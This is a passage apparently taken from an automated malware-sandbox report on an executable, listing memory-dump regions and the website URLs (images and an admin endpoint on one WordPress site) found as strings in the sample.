Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.stnic.co.uk/wp-admin/admin-ajax.php
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.stnic.co.uk/wp-content/plugins/cookie-law-info/lite/frontend/images/close.svg
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.stnic.co.uk/wp-content/uploads/2021/11/apply-puffin-140x118.png
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.stnic.co.uk/wp-content/uploads/2021/11/apply-puffin-250x212.png
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.stnic.co.uk/wp-content/uploads/2021/11/apply-puffin-300x254.png
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.stnic.co.uk/wp-content/uploads/2021/11/apply-puffin.png
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.stnic.co.uk/wp-content/uploads/2022/08/fav.png
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.stnic.co.uk/wp-content/uploads/2022/08/stnic.svg
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.stnic.co.uk/wp-content/uploads/2022/09/art-artists.png
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.stnic.co.uk/wp-content/uploads/2022/09/christmas.png
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.stnic.co.uk/wp-content/uploads/2022/09/royal-history.png
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.stnic.co.uk/wp-content/uploads/2022/09/vikings.png
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, 